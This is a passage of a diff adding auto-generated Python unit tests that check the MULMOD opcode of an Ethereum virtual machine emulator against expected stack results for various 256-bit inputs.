+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_268(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_269(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MULMOD_270(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_MULMOD_271(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_272(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_273(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_274(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_275(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_276(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_277(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_278(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_279(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_280(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [54277541829991966604798899222822456806220305312019014393495742503709279519201L])
+
+    def test_MULMOD_281(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_282(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_MULMOD_283(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_284(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [54277541829991966604798899222822456806220305312019014393495742503709279518961L])
+
+    def test_MULMOD_285(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [256L])
+
+    def test_MULMOD_286(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MULMOD_287(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MULMOD_288(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [97433442488726861213578988847752201310395502592L])
+
+    def test_MULMOD_289(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [496L])
+
+    def test_MULMOD_290(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_291(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_292(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_293(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [256L])
+
+    def test_MULMOD_294(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [256L])
+
+    def test_MULMOD_295(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [512L])
+
+    def test_MULMOD_296(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [768L])
+
+    def test_MULMOD_297(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
